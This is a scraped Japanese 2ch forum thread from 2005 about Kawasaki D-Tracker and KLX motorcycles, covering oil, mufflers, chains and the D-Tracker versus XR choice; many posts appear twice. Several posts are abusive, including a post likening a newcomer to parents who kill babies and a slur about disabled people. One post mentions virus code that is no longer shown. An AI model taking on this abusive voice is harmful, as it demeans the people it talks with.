最大は365じゃなかったかな？
ただ300越えると、ガスケットの吹き抜け等のトラブルが多いと聞いた。
有る意味純正300がベストかもと。
それとキット組んだ中古買ったんじゃないかな？>220氏は
>>223氏
1Lは残油大杉じゃないかな？
特にフィルター変えてでは。
車種によって差があるかもしれんけど、ヲイラのは1.3～1.4位入る。
2リッター缶をジョッキに移してだから、ジョッキのメモリに狂い有るかもしれんけど。
ちなみにゲージMAXのちょっと下まで入れてます。
229 ：７７４ＲＲ：05/02/14 23:45:14 ID:2QIi4prJ
>224
まぁまぁ､初歩的な事も分からないﾔｼなんだから店に騙されたんだよ｡
世の中知らない事が幸せって事があるんだからそっとしといてやれｗ
まぁまぁ､初歩的な事も分からないﾔｼなんだから店に騙されたんだよ｡
世の中知らない事が幸せって事があるんだからそっとしといてやれｗ
ハウルの動くDトラになっちまうよ。
さて、寝るざまス。
さて、寝るざまス。
232 ：７７４ＲＲ：05/02/14 23:58:59 ID:N03Gz3dm
>>２２１
ありがとうございます。つい最近譲ってもらいましたので
メンテのために交換したかったのです。
それで倉庫に残ってる純正（ホンダ）がありまして
それを使用しようと思ってました。
もう少しいいオイルいれます
>>224
お前に聞いてないど。
ありがとうございます。つい最近譲ってもらいましたので
メンテのために交換したかったのです。
それで倉庫に残ってる純正（ホンダ）がありまして
それを使用しようと思ってました。
もう少しいいオイルいれます
>>224
お前に聞いてないど。
>>232
譲ってもらったんなら、元の持ち主にオイルの量ぐらい聞けよ。
譲ってもらったんなら、元の持ち主にオイルの量ぐらい聞けよ。
234 ：みるく ◆GASNOWzado ：05/02/15 00:03:26 ID:hAirOvk6
>>231氏
確かに。
今ならDR-Z400SMもあるし、エンジンはもとより足が段違い。
足のカスタムだけでもDR-Zとの価格差は縮まりそう。
でもDR-Zもノーマルじゃ付き悪いし、タルイから。。。
絶対パワーはDR-zに負けると思うけど、300位の排気量、吸排気、ハイカムと
やったDトラはDR-Z以上にに気持ちよく走れる。
DR-Zも同じチューンすると、それ以上に気持ちよく走れるんだろうけど。
ボアはそのままでもR用のハイコンプピストン使って・・・
確かに。
今ならDR-Z400SMもあるし、エンジンはもとより足が段違い。
足のカスタムだけでもDR-Zとの価格差は縮まりそう。
でもDR-Zもノーマルじゃ付き悪いし、タルイから。。。
絶対パワーはDR-zに負けると思うけど、300位の排気量、吸排気、ハイカムと
やったDトラはDR-Z以上にに気持ちよく走れる。
DR-Zも同じチューンすると、それ以上に気持ちよく走れるんだろうけど。
ボアはそのままでもR用のハイコンプピストン使って・・・
1)素人が譲ってもらう。
2)判らないのでなぜか本人に聞かず2chで聞く
3)素人なポイント突っ込まれる
4)逆切れ。
よくあるパターンなので生暖かく見守りましょう。
2)判らないのでなぜか本人に聞かず2chで聞く
3)素人なポイント突っ込まれる
4)逆切れ。
よくあるパターンなので生暖かく見守りましょう。
236 ：７７４ＲＲ：05/02/15 01:06:27 ID:3IyOGqIL
>>232悪い事は言わない。ヨシ○ラも使ってるﾓﾁｭの一番ｲｲﾔﾂを使え。
>236
ｴﾝｼﾞﾝｵｲﾙの名前だよって言わないと分からないと思うよ
ｴﾝｼﾞﾝｵｲﾙの名前だよって言わないと分からないと思うよ
このまえ、初めて奮発してモチュったけど、最初からオイル濁ってるんね！！
最初、えっ！って思ったけど、そのまま入れました。
しかし、あけずらいいれものですね、まったく！！
最初、えっ！って思ったけど、そのまま入れました。
しかし、あけずらいいれものですね、まったく！！
240 ：７７４ＲＲ：05/02/15 03:12:26 ID:M+E0yksn
ド素人の漏れが実車を手に入れて初めて知ったことのひとつ：チェーンがジョイント式。
中型二輪以上のバイクチェーンはすべてカシメ結合だと思っていたyo。
これって、最近のチェーンが改良されて丈夫になったということなのか、
それとも馬力そのものが250ccクラスとしては低目なのかと思いマニュアルを読んでみたら、なるほど、9馬力か。これなら大丈夫だな。
えっ、・・・９馬力？？！！
「Kawasaki 2004 D-Tracker サービスマニュアル」から引用：
エンジン
最高出力 ２１ｋW（９PS）/ 9 000 rpm
こんな大事なところ↑↑↑誤植するなよ～。 (TT＿TT)
次のレスをお書きの方、まことに勝手ながら
「それがカワサキクォ（ｒｙ）」というオチは禁じ手といたします。
中型二輪以上のバイクチェーンはすべてカシメ結合だと思っていたyo。
これって、最近のチェーンが改良されて丈夫になったということなのか、
それとも馬力そのものが250ccクラスとしては低目なのかと思いマニュアルを読んでみたら、なるほど、9馬力か。これなら大丈夫だな。
えっ、・・・９馬力？？！！
「Kawasaki 2004 D-Tracker サービスマニュアル」から引用：
エンジン
最高出力 ２１ｋW（９PS）/ 9 000 rpm
こんな大事なところ↑↑↑誤植するなよ～。 (TT＿TT)
次のレスをお書きの方、まことに勝手ながら
「それがカワサキクォ（ｒｙ）」というオチは禁じ手といたします。
241 ：７７４ＲＲ：05/02/15 03:54:25 ID:Unvsnfje
それがカワサキ
↓
↓
242 ：７７４ＲＲ：05/02/15 04:03:44 ID:+MjpByR2
↓
クオリファイド
クオリファイド
243 ：７７４ＲＲ：05/02/15 05:11:14 ID:H1o2CNFD
>>240
俺もそう思ってた
今まで原付でクリップ式しか交換した事のない屁垂れなんで
ＳＢ納車したときに「あーこれからチェーン交換に工賃かかるなぁ～」
とか思ってたんだが見てびっくりした
ちなみにＳＢの説明書にはちゃんと２９ＰＳと書いてあるぞｗ
明日チェーンやタイヤその他もろもろ買いに行く予定と非常にタイムリーな話でした
俺もそう思ってた
今まで原付でクリップ式しか交換した事のない屁垂れなんで
ＳＢ納車したときに「あーこれからチェーン交換に工賃かかるなぁ～」
とか思ってたんだが見てびっくりした
ちなみにＳＢの説明書にはちゃんと２９ＰＳと書いてあるぞｗ
明日チェーンやタイヤその他もろもろ買いに行く予定と非常にタイムリーな話でした
244 ：240：05/02/15 07:44:41 ID:BxgVxuKI
>ちなみにＳＢの説明書にはちゃんと２９ＰＳと書いてあるぞｗ
情報ありがとうございます。ひょっとしてカワサキがマニュアルもOEM供給しているのかと思っていましたが
（当然、「概要」ページの車両外観の写真とか、文中の「カワサキ純正」とかを差しかえるだけであとは同一内容という意味）
どうも違うようですね。
ちなみに漏れの車も実は２５０ＳＢです。たまたまバイク用品店でＳＢのマニュアルが在庫切れだったので、
「どっちでも中身は一緒だからいいや」と思いＤトラのを買ったのですが
おかげで面白い発見ができました ｗ
情報ありがとうございます。ひょっとしてカワサキがマニュアルもOEM供給しているのかと思っていましたが
（当然、「概要」ページの車両外観の写真とか、文中の「カワサキ純正」とかを差しかえるだけであとは同一内容という意味）
どうも違うようですね。
ちなみに漏れの車も実は２５０ＳＢです。たまたまバイク用品店でＳＢのマニュアルが在庫切れだったので、
「どっちでも中身は一緒だからいいや」と思いＤトラのを買ったのですが
おかげで面白い発見ができました ｗ
245 ：７７４ＲＲ：05/02/15 12:11:27 ID:8iOsQ0UK
新車の時から異常音～♪
カワサキクオリティー高ぇ～～
カワサキクオリティー高ぇ～～
それが普通なら「異常」音とは言わんのですよ(´･ω･｀)
シュイィィィーーン
シャシャシャシャシャシャ
シャカシャカシャカシャカシャカ
カカカカカカカカカ
ドドドドドドドドドドドドド
俺のKLXの音はこんな感じ。
絶好調。
シャシャシャシャシャシャ
シャカシャカシャカシャカシャカ
カカカカカカカカカ
ドドドドドドドドドドドドド
俺のKLXの音はこんな感じ。
絶好調。
ｶﾞｼｭｶﾞｼｭｶﾞｼｭ…ｶﾞｺﾝ！
ﾌﾞｵｫｫｫｰｰﾝ､ｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗ
俺の虎はこんな感じ
絶不調
ﾌﾞｵｫｫｫｰｰﾝ､ｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗｼﾞｬﾗ
俺の虎はこんな感じ
絶不調
249 ：７７４ＲＲ：05/02/15 18:02:15 ID:YAg35eSz
250 ：７７４ＲＲ：05/02/15 18:04:17 ID:Unvsnfje
ＣＣ
251 ：７７４ＲＲ：05/02/15 18:07:04 ID:YAg35eSz
>>２３６
そんなにいいのですか？モチは。
今度R１にいれてみます。
>>２３７
どうもありがとう。実はわからなかったです。
そんなにいいのですか？モチは。
今度R１にいれてみます。
>>２３７
どうもありがとう。実はわからなかったです。
252 ：７７４ＲＲ：05/02/15 18:21:38 ID:Unvsnfje
>251
前はﾓﾁｭ派だったけど､ふよふにしてからｼﾙｺﾘﾝを使用
違いが体感できた｡
前はﾓﾁｭ派だったけど､ふよふにしてからｼﾙｺﾘﾝを使用
違いが体感できた｡
>>249
あんた、アホだろ？
不特定多数にレスしといて、俺がレスしたらダメってか？
だいたい、譲ってもらったんならよ、普通はオイルの量とか空気圧とか元の持ち主に聞くだろうが。それとも、あんたのＤトラは盗難車か？
しかも、インターネットって便利なもんがあるのに、自分で検索することもなく
2chで聞けば教えてもらえると考えてたのか？2chはみんなが親切に知らないことを教えてくれる便利な掲示板か？
なんつーかさ、あんたって子供を育てる能力もないのに生でSEXして、子供ができて、実際産まれたら育て方分からず虐待、
もしくは炎天下のパチンコ屋の駐車場に放置して赤ちゃん殺す親みたいだな
>>251
あんた、どうせR1なんて乗ってないだろ？嘘だろ？
R1に乗るような奴がMOTUL知らないなんて、ありえねえよ。
つうか、ホンダの純正のオイルが余ってるって言ってたよな？
R1にそれ入れてるのか？R1がかわいそうだ。降りろ。
あ、嘘だから降りようがねえか。スマンスマン。
あとな、>>233>>237は俺が書いたレスだ。ID見てみろ。
つうか、>>237は皮肉で書いたんだが、理解できなかったようだな。
あんた、アホだろ？
不特定多数にレスしといて、俺がレスしたらダメってか？
だいたい、譲ってもらったんならよ、普通はオイルの量とか空気圧とか元の持ち主に聞くだろうが。それとも、あんたのＤトラは盗難車か？
しかも、インターネットって便利なもんがあるのに、自分で検索することもなく
2chで聞けば教えてもらえると考えてたのか？2chはみんなが親切に知らないことを教えてくれる便利な掲示板か？
なんつーかさ、あんたって子供を育てる能力もないのに生でSEXして、子供ができて、実際産まれたら育て方分からず虐待、
もしくは炎天下のパチンコ屋の駐車場に放置して赤ちゃん殺す親みたいだな
>>251
あんた、どうせR1なんて乗ってないだろ？嘘だろ？
R1に乗るような奴がMOTUL知らないなんて、ありえねえよ。
つうか、ホンダの純正のオイルが余ってるって言ってたよな？
R1にそれ入れてるのか？R1がかわいそうだ。降りろ。
あ、嘘だから降りようがねえか。スマンスマン。
あとな、>>233>>237は俺が書いたレスだ。ID見てみろ。
つうか、>>237は皮肉で書いたんだが、理解できなかったようだな。
2stオイルだったりして
>253
荒らすなｸｽﾞ
荒らすなｸｽﾞ
256 ：７７４ＲＲ：05/02/15 18:48:39 ID:Unvsnfje
>253
必死だなｗ見苦しいぞﾓﾏｴ
必死だなｗ見苦しいぞﾓﾏｴ
まあ一番のｸｽﾞは（以下略 (´･ω･｀)
258 ：７７４ＲＲ：05/02/15 19:06:01 ID:2MCcYXoA
今までオン車の900ニンジャにのってたんですけど事故して、全損。
バイク探してるうちに
モタードカッコええなーっておもって、ＤトラかＸＲモタ買おうと
おもってるんですが、どっちか迷ってます、アドバイスをーください
バイク探してるうちに
モタードカッコええなーっておもって、ＤトラかＸＲモタ買おうと
おもってるんですが、どっちか迷ってます、アドバイスをーください
「好きなバイクを買うのが一番」
Ｄ虎＝壊れやすい
ＸＲ＝壊れにくい
ＸＲ＝壊れにくい
今はどっちか言うとXRの方が壊れやすいかもしれん。
いや、KLXは最初から壊れとるか
いや、KLXは最初から壊れとるか
262 ：７７４ＲＲ：05/02/15 19:27:27 ID:2MCcYXoA
確かに好きなバイクを買うのが一番だろうけど、どっちもかわらないきがして。
Ｄトラはどの変が壊れやすいですか？
あと、エンジンはどっちもたいして変わんないんすかね？
水冷ＤＯＨＣと空冷ＯＨＣ ＲＦＶＣっすよね？
Ｄトラはどの変が壊れやすいですか？
あと、エンジンはどっちもたいして変わんないんすかね？
水冷ＤＯＨＣと空冷ＯＨＣ ＲＦＶＣっすよね？
263 ：７７４ＲＲ：05/02/15 19:30:39 ID:r5HVNWFF
＞どっちもかわらないきがして。
なら聞く意味ねーな
＞あと、エンジンはどっちもたいして変わんないんすかね？
＞水冷ＤＯＨＣと空冷ＯＨＣ ＲＦＶＣっすよね？
全然変ってるだろーが
ｱﾌｫかおまえは
氏ね
なら聞く意味ねーな
＞あと、エンジンはどっちもたいして変わんないんすかね？
＞水冷ＤＯＨＣと空冷ＯＨＣ ＲＦＶＣっすよね？
全然変ってるだろーが
ｱﾌｫかおまえは
氏ね
264 ：７７４ＲＲ：05/02/15 19:33:22 ID:lhPaWql3
Ｄ虎＝やーい川崎って煽られる
ＸＲ＝やーい空冷シュラウドって煽られる
ＸＲ＝やーい空冷シュラウドって煽られる
266 ：みるく ◆GASNOWzado ：05/02/15 19:35:57 ID:hAirOvk6
水冷だから、エンジンの耐久性はklxの方が有ると思うな。
もっともオイル滲み等のマイナートラブルはKLXが多いけど
その辺を故障と取るかどうかで評価は変わると思う。
>あと、エンジンはどっちもたいして変わんないんすかね？
>水冷ＤＯＨＣと空冷ＯＨＣ ＲＦＶＣっすよね？
まあどっちも250痰亀頭だから、変わらないと言えば変わらないけど
KLXの方が上は伸びるよ、XRはフラットって感じ。
個人的な好みも有るだろうけど、俺はKLXの方が楽しいと思える。
純正ふよよキットとかアフターパーツも豊富だし。
それとXRのRFVCは妙に複雑なのか知らないけど、オイル食い等
ヘッドのトラブルがDOHCより多いように思う。
もっともオイル滲み等のマイナートラブルはKLXが多いけど
その辺を故障と取るかどうかで評価は変わると思う。
>あと、エンジンはどっちもたいして変わんないんすかね？
>水冷ＤＯＨＣと空冷ＯＨＣ ＲＦＶＣっすよね？
まあどっちも250痰亀頭だから、変わらないと言えば変わらないけど
KLXの方が上は伸びるよ、XRはフラットって感じ。
個人的な好みも有るだろうけど、俺はKLXの方が楽しいと思える。
純正ふよよキットとかアフターパーツも豊富だし。
それとXRのRFVCは妙に複雑なのか知らないけど、オイル食い等
ヘッドのトラブルがDOHCより多いように思う。
俺的インプレ
XR('03～) サスがイイ(ダート)、重心が低いので扱いやすい、耐久性もある、新型シュラウドはモッサリしてて嫌い(ローシートｲﾋで解決)
Ｄ虎('01～) 水冷の為XRよか気持ち分速い、サス初期が硬い(セッティングで解決?)、後期型は規制で少し遅い、整備が面倒、河のわりに壊れない
共通点 OILフィルタが同じｗ
XR('03～) サスがイイ(ダート)、重心が低いので扱いやすい、耐久性もある、新型シュラウドはモッサリしてて嫌い(ローシートｲﾋで解決)
Ｄ虎('01～) 水冷の為XRよか気持ち分速い、サス初期が硬い(セッティングで解決?)、後期型は規制で少し遅い、整備が面倒、河のわりに壊れない
共通点 OILフィルタが同じｗ
XRもそんな整備性は良くないと思うよ(´･ω･｀)
どのレベルの整備かによって評価は変わるだろうけど
どのレベルの整備かによって評価は変わるだろうけど
269 ：７７４ＲＲ：05/02/15 20:50:25 ID:nygv8rZV
丸血死亡しますた
大漁ですな、たくさんの魚がビチビチ魚籠で跳ねています。
272 ：７７４ＲＲ：05/02/15 22:06:26 ID:YAg35eSz
>>253
おーおーすごいね。君。
なかなかおもしろかったよ。
ホンダの純正はもらい物さ
５０マグナに入れるために
_、_
（ ,_ﾉ` )y━･~~~
特に一番下の文にはまいったね。
モチぐらいわからんわけないだろ。
種類はしらんけど。
まあおもしろいんでこれからも
ヨ ロ シ コ
おーおーすごいね。君。
なかなかおもしろかったよ。
ホンダの純正はもらい物さ
５０マグナに入れるために
_、_
（ ,_ﾉ` )y━･~~~
特に一番下の文にはまいったね。
モチぐらいわからんわけないだろ。
種類はしらんけど。
まあおもしろいんでこれからも
ヨ ロ シ コ
273 ：７７４ＲＲ：05/02/15 22:07:33 ID:YAg35eSz
>>２５５ >>２５６
すいません。親切なお方なんで
許してやってください。
すいません。親切なお方なんで
許してやってください。
274 ：７７４ＲＲ：05/02/15 22:08:18 ID:YAg35eSz
>>２５７
自分ですｗ
自分ですｗ
276 ：７７４ＲＲ：05/02/15 22:47:29 ID:nygv8rZV
大学生はそろそろ春休みか…教えてくんは自分じゃ何もできない。これ定説。
277 ：７７４ＲＲ：05/02/15 23:00:53 ID:3IyOGqIL
グルか。
尊師ですか。
279 ：７７４ＲＲ：05/02/16 02:57:39 ID:ZRHXJZEX
>>275
自分で聞けｗ
まああれだ
なんであなたはそんなにU SU KU CHI なの？
なんでそんなに つ ぼ に は め て く れ る の ？
と反対に問い詰めたい小１時間程。
とりあえず、
ほんとすいませんね。ご苦労さん。
やっと仮眠だ。
自分で聞けｗ
まああれだ
なんであなたはそんなにU SU KU CHI なの？
なんでそんなに つ ぼ に は め て く れ る の ？
と反対に問い詰めたい小１時間程。
とりあえず、
ほんとすいませんね。ご苦労さん。
やっと仮眠だ。
280 ：７７４ＲＲ：05/02/16 12:21:17 ID:fW3JJ4qj
XRはいいぞ～仮面ライダー愛用らしいからな
でも、Dトラはもっといいぞ。俺愛用だからな
でも、Dトラはもっといいぞ。俺愛用だからな
281 ：ひみつの検疫さん：2025/03/24(月) 00:15:45 ID:MarkedRes
汚染を除去しました。
俺もＤトラとＸＲ悩んだけど新車はＤトラの方が安いしＸＲより気持ち速いって
聞いてたんでＤトラにしたよ。
あとシート高がＸＲのほうがちょっと高いんじゃなかったっけ？
聞いてたんでＤトラにしたよ。
あとシート高がＸＲのほうがちょっと高いんじゃなかったっけ？
283 ：７７４ＲＲ：05/02/16 13:46:54 ID:yA5F/HG6
おにいちゃんがたくさんつれたね。
284 ：７７４ＲＲ：05/02/16 13:53:07 ID:ZoRgBI+B
ゲイか。
しかしま、Ｄトラ／ＫＬＸ／ＳＢとＸＲは常にこの質問に晒されるな。
トンデモな中古車とか太古車は別として、近所にある信頼できるバイク屋が何を得意としているかが決定打になると思うんだが。
信頼していたバイク屋が実はトンデモで、40万近く出して購入したバイクが３ヶ月でスクラップになった経験がありとそのへんを強く感じる。
トンデモな中古車とか太古車は別として、近所にある信頼できるバイク屋が何を得意としているかが決定打になると思うんだが。
信頼していたバイク屋が実はトンデモで、40万近く出して購入したバイクが３ヶ月でスクラップになった経験がありとそのへんを強く感じる。
評価が300未満なのに悪いと非常に悪いが6つもついてるな。
>>287
ほんとだ。こりゃ駄目だ。オクでパーツ揃えられたらな、と思ってこの一月ほど、
いろいろ見てるんだけど、まともなのは少ないね。
業者はまず駄目だな。
個人で程度をいいのを出品してる人もいるけど、そういうパーツに限って今は欲しくない。
ほんとだ。こりゃ駄目だ。オクでパーツ揃えられたらな、と思ってこの一月ほど、
いろいろ見てるんだけど、まともなのは少ないね。
業者はまず駄目だな。
個人で程度をいいのを出品してる人もいるけど、そういうパーツに限って今は欲しくない。
289 ：７７４ＲＲ：05/02/16 15:54:40 ID:0rhJMDRX
良い物は本人が満足しているから売りに出ないんじゃないかい？
マフラーに関しては固定が２カ所以上の物をお薦めする。
１カ所留めのはいくら軽くても振動でやられるから。
マフラーに関しては固定が２カ所以上の物をお薦めする。
１カ所留めのはいくら軽くても振動でやられるから。
>>286
希望落札価格が定価の半額か・・・なんだかなぁ
希望落札価格が定価の半額か・・・なんだかなぁ
291 ：名無しさん＠そうだドライブへ行こう：05/02/16 20:03:36 ID:7IwRmcXp
>>290
元々その値段だったりしてな。
そこのＨＰ行って見たんだが音量がヤフオク掲載と違う。
ヤフオク インナーあり -> 85db なし ->98db
ＨＰ インナーあり -> 89db なし -> 97db
スペシャルインナーサイレンサーって書いてあるが普通にナップスで売ってるのと
似てるぞｗ
元々その値段だったりしてな。
そこのＨＰ行って見たんだが音量がヤフオク掲載と違う。
ヤフオク インナーあり -> 85db なし ->98db
ＨＰ インナーあり -> 89db なし -> 97db
スペシャルインナーサイレンサーって書いてあるが普通にナップスで売ってるのと
似てるぞｗ
そだね、イマドキ「青のアルマイト」ってヤン車でも見ねぇよな。
だれかウィンカーの替え玉のしゅるいとかわからん？
昨日納車してうちの250SBたまぎれしました・・・
昨日納車してうちの250SBたまぎれしました・・・
295 ：７７４ＲＲ：05/02/17 10:28:52 ID:rXk5lK2u
ＸＲでおもいだしたんですけど、ＸＲ６５０をモタードにして
乗ってる人って、なかなかいませんね。
燃費が激悪とかシートが高いとか色々ありますもんね・・・
乗ってる人って、なかなかいませんね。
燃費が激悪とかシートが高いとか色々ありますもんね・・・
>>294
たぶん10Wの単球。納車したてなら買ったバイク屋に言ってみてもいいかもね。
たぶん10Wの単球。納車したてなら買ったバイク屋に言ってみてもいいかもね。
297 ：７７４ＲＲ：05/02/17 14:18:51 ID:2NVLGNSO
自分初心者で、キャブレターをいじってみたいんだけど、
マフラーとかキャブ本体変えるのは金欠でちょっと・・・なんですが、
エアフィルター換えたり、よく勧められてる250Rのダクト付けたりっていうのでも
セッティング必要になりますか？手軽に体験してみたいんですが・・・
マフラーとかキャブ本体変えるのは金欠でちょっと・・・なんですが、
エアフィルター換えたり、よく勧められてる250Rのダクト付けたりっていうのでも
セッティング必要になりますか？手軽に体験してみたいんですが・・・
>>297
漏れも初心者でちょうどキャブ弄りしようかと思ってた
２５０Ｒダクトとメインジェットとスロージェットと
セローの工具入れ注文しに今週末バイク屋に行くとこですたい
川崎のＨＰには２５０Ｒダクトの値段書いて無かったｙｏ
オークションで１５００円ぐらいで出てたが、
定価より高いかと思ってｽﾙｰしてみた
漏れも初心者でちょうどキャブ弄りしようかと思ってた
２５０Ｒダクトとメインジェットとスロージェットと
セローの工具入れ注文しに今週末バイク屋に行くとこですたい
川崎のＨＰには２５０Ｒダクトの値段書いて無かったｙｏ
オークションで１５００円ぐらいで出てたが、
定価より高いかと思ってｽﾙｰしてみた
この250SB、リアフェンダーいいね。
なんかの流用かな？
ttp://goobike.com/cgi-bin/search/spread.cgi?8500824B20050121023+
情報求む！
なんかの流用かな？
ttp://goobike.com/cgi-bin/search/spread.cgi?8500824B20050121023+
情報求む！
>>299
メイヤーじゃね？？
メイヤーじゃね？？
301 ：７７４ＲＲ：05/02/17 20:47:48 ID:8B60AMEs
302 ：７７４ＲＲ：05/02/17 20:49:34 ID:8B60AMEs
>>299
ボキもメイヤーじゃないかと思う。
ボキもメイヤーじゃないかと思う。
>>295
ん～そんなこと全然無いと思うねんけど．．．
モタ仲間に２台おるんやが 皆でツー行けば
XR650R KTM640 HUSA650 WR450F WR400F CRF450 DR-Z400 ﾄｶ
同んじペースで走れば大体14Km/Lﾌﾟﾗﾏｲ2 の間に
皆さんおさまってるみたいです。
どっちかつ～と釜小さいと回し気味になるんで少し不利かな．．．
漏れはKLX300Rで行ってる時が一番喰ってましたわ orz
シート高はコンペモタにしたらみんな殆んど同じ高さ。
XR はちょい巾広のせいかな．．．
ん～そんなこと全然無いと思うねんけど．．．
モタ仲間に２台おるんやが 皆でツー行けば
XR650R KTM640 HUSA650 WR450F WR400F CRF450 DR-Z400 ﾄｶ
同んじペースで走れば大体14Km/Lﾌﾟﾗﾏｲ2 の間に
皆さんおさまってるみたいです。
どっちかつ～と釜小さいと回し気味になるんで少し不利かな．．．
漏れはKLX300Rで行ってる時が一番喰ってましたわ orz
シート高はコンペモタにしたらみんな殆んど同じ高さ。
XR はちょい巾広のせいかな．．．
305 ：７７４ＲＲ：05/02/17 22:14:28 ID:yBVxgBk6
規制前のエキパイに交換しようかと思ってますが、
エキパイとかガスケット以外の部品（エキパイカバーとか）は互換性あるんですか？
エキパイとかガスケット以外の部品（エキパイカバーとか）は互換性あるんですか？
ノーマルより低重音かましてイイ感じのマフラーありませんか？
自分的に爆音系はディスなんでなるべく静かでクールなサウンドマフラーが欲しいっす
自分的に爆音系はディスなんでなるべく静かでクールなサウンドマフラーが欲しいっす
>>299
このモトベンチャーてショップに問い合わせるのが一番だと思うが。
このモトベンチャーてショップに問い合わせるのが一番だと思うが。
Dトラ04にスリップオンマフラーを奢ろうと思うのですが、
・ノーセッティングでノーマル以上の性能(同じでも可)
・個人的にスパトラは嫌い
・JMCA認定品、それに準ずる音量
・よって「軽量・見た目・適度なサウンド」だけの、カッコツケマフラー
これに該当するお勧めはありますでしょうか？
・ノーセッティングでノーマル以上の性能(同じでも可)
・個人的にスパトラは嫌い
・JMCA認定品、それに準ずる音量
・よって「軽量・見た目・適度なサウンド」だけの、カッコツケマフラー
これに該当するお勧めはありますでしょうか？
ライトはずすのって、ライト下のネジをはずすんだよね？+ネジじゃなくてケースを固定してるほう。
_______________
I I
I I
I I
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I・I
↑これ？
_______________
I I
I I
I I
I______________I
I・I
↑これ？
・・・ずれた。
もういい、すまんかった。
もういい、すまんかった。
312 ：みるく ◆GASNOWzado ：05/02/17 22:27:19 ID:+PjEDlTU
313 ：みるく ◆GASNOWzado ：05/02/17 22:31:02 ID:+PjEDlTU
>>308氏
>・ノーセッティングでノーマル以上の性能(同じでも可)
これは無理でしょ。
ノーマルマフラーでもスローはちょっと濃いめにする方が良いんだから。
それ以外の条件じゃ
ヨシムラ、ビート、テックサーフ（OZ）あたりで良いんでは？
ただ、どうせなら吸排気はセットで。AIはキャンセルしましょ。
>・ノーセッティングでノーマル以上の性能(同じでも可)
これは無理でしょ。
ノーマルマフラーでもスローはちょっと濃いめにする方が良いんだから。
それ以外の条件じゃ
ヨシムラ、ビート、テックサーフ（OZ）あたりで良いんでは？
ただ、どうせなら吸排気はセットで。AIはキャンセルしましょ。
>>312
ありがとう。早速交換したいけど、明日雨だから止めとくよ。
ありがとう。早速交換したいけど、明日雨だから止めとくよ。
>>304
たぶんエーテックだと思う。
たぶんエーテックだと思う。
316 ：７７４ＲＲ：05/02/17 23:43:11 ID:FWzPF52F
>>272(ID:YAg35eSz)＝>>281
272 名前： ７７４ＲＲ 投稿日： 05/02/15 22:06:26 ID:YAg35eSz
>>253
おーおーすごいね。君。
なかなかおもしろかったよ。
ホンダの純正はもらい物さ
５０マグナに入れるために
※マグナ50のスレにも、>>281と全く同じウィルスコードがほぼどう時間に貼られてました。
煽られたからって荒らすなんて、障害児以下だな。
http://hobby7.2ch.net/test/read.cgi/bike/1100941378/366
272 名前： ７７４ＲＲ 投稿日： 05/02/15 22:06:26 ID:YAg35eSz
>>253
おーおーすごいね。君。
なかなかおもしろかったよ。
ホンダの純正はもらい物さ
５０マグナに入れるために
※マグナ50のスレにも、>>281と全く同じウィルスコードがほぼどう時間に貼られてました。
煽られたからって荒らすなんて、障害児以下だな。
http://hobby7.2ch.net/test/read.cgi/bike/1100941378/366
317 ：７７４ＲＲ：05/02/17 23:44:40 ID:fIXWTvF6
>>316警察みたいな香具師だなｗ
皆さんはどんなエンジンオイルを使っていますか？
オフ車ベース（オフ車）、単気筒、水冷、DOHC、単気筒にしては高回転型のエンジン特性
という車両としてどんなオイルが最適なのでしょうか？
僕はモチュール300Vの10w-40のオイルを入れています。
以前はモチュール5100の10w-40を入れていたのですが、ギアの入りが渋かったので300Vに変えました。
300Vにしてからは、フケも良くなり、ギアの入りも良くなったような気がします。
交換周期はだいたい3000kmぐらいです。
次は同じエステルベースのシルコリンかニューテックを入れてみようかと考えています。
皆さんが使用しているオイルの銘柄、粘度、交換時期など教えていただけたら幸いです。
オフ車ベース（オフ車）、単気筒、水冷、DOHC、単気筒にしては高回転型のエンジン特性
という車両としてどんなオイルが最適なのでしょうか？
僕はモチュール300Vの10w-40のオイルを入れています。
以前はモチュール5100の10w-40を入れていたのですが、ギアの入りが渋かったので300Vに変えました。
300Vにしてからは、フケも良くなり、ギアの入りも良くなったような気がします。
交換周期はだいたい3000kmぐらいです。
次は同じエステルベースのシルコリンかニューテックを入れてみようかと考えています。
皆さんが使用しているオイルの銘柄、粘度、交換時期など教えていただけたら幸いです。
319 ：７７４ＲＲ：05/02/18 00:05:38 ID:QuLhidnH
モーターアップを1.5リットルほど
320 ：７７４ＲＲ：05/02/18 00:29:59 ID:p8lidHx0
ｼﾙｺﾘﾝはﾓﾁｭより良い感じ｡
替え玉明日かってくるかな、サンクス
明日はあめでのれそうにないなー
明日はあめでのれそうにないなー
322 ：７７４ＲＲ：05/02/18 01:16:39 ID:3lAYnr7O
ﾓﾁｭの一番ｲｲﾔﾂ 暖気ちゃんとやればｷﾞﾔもよくはいるよ、吹けも良いしね。交換は1500km～2000km位でかえてる。
Zoilを入れてる人、いるですか？
今ノーマルなんですがエキパイだけ換えてパワーアップしますか？
あと音はどうなります？
教えてくんですまんが意見きぼん
あと音はどうなります？
教えてくんですまんが意見きぼん
326 ：７７４ＲＲ：05/02/18 16:54:45 ID:WPZUK+vN
>>326
ageて煽るな。バカ
ageて煽るな。バカ
すっかり通勤ユースオンリーなので、キャリアとケースをつけようと思う。
キャリアは純正でいいんだろうけど、ケースはどこがいい？
あんまりおっさん仕様にしたくないから、洒落たのがいいんだが。
キャリアは純正でいいんだろうけど、ケースはどこがいい？
あんまりおっさん仕様にしたくないから、洒落たのがいいんだが。
>>328
まあキャリアとケース積む時点で（ｒｙ
まあキャリアとケース積む時点で（ｒｙ
>>319
モーターアップを1.5Ｌですか～って添加剤じゃん！
>>320
シルコリンはモチュールよりいい感じですか。
まあ、値段が値段ですもんね～。
>>322
モチュール300Vは僕も気に入ってますよ。
＞交換は1500km～2000km位でかえてる。
僕は3000kmぐらいで交換してますが、>>322さんの方が一般的なのでしょうか？
皆さんレスありがとうございます。
モーターアップを1.5Ｌですか～って添加剤じゃん！
>>320
シルコリンはモチュールよりいい感じですか。
まあ、値段が値段ですもんね～。
>>322
モチュール300Vは僕も気に入ってますよ。
＞交換は1500km～2000km位でかえてる。
僕は3000kmぐらいで交換してますが、>>322さんの方が一般的なのでしょうか？
皆さんレスありがとうございます。
333 ：７７４ＲＲ：05/02/18 20:54:45 ID:pevQo441
こんなかで、Rのイグナイターに換えてるヤシいる？
いたら印プレ聞かせてほすぃー。
いたら印プレ聞かせてほすぃー。
334 ：７７４ＲＲ：05/02/18 22:00:52 ID:p8lidHx0
>332
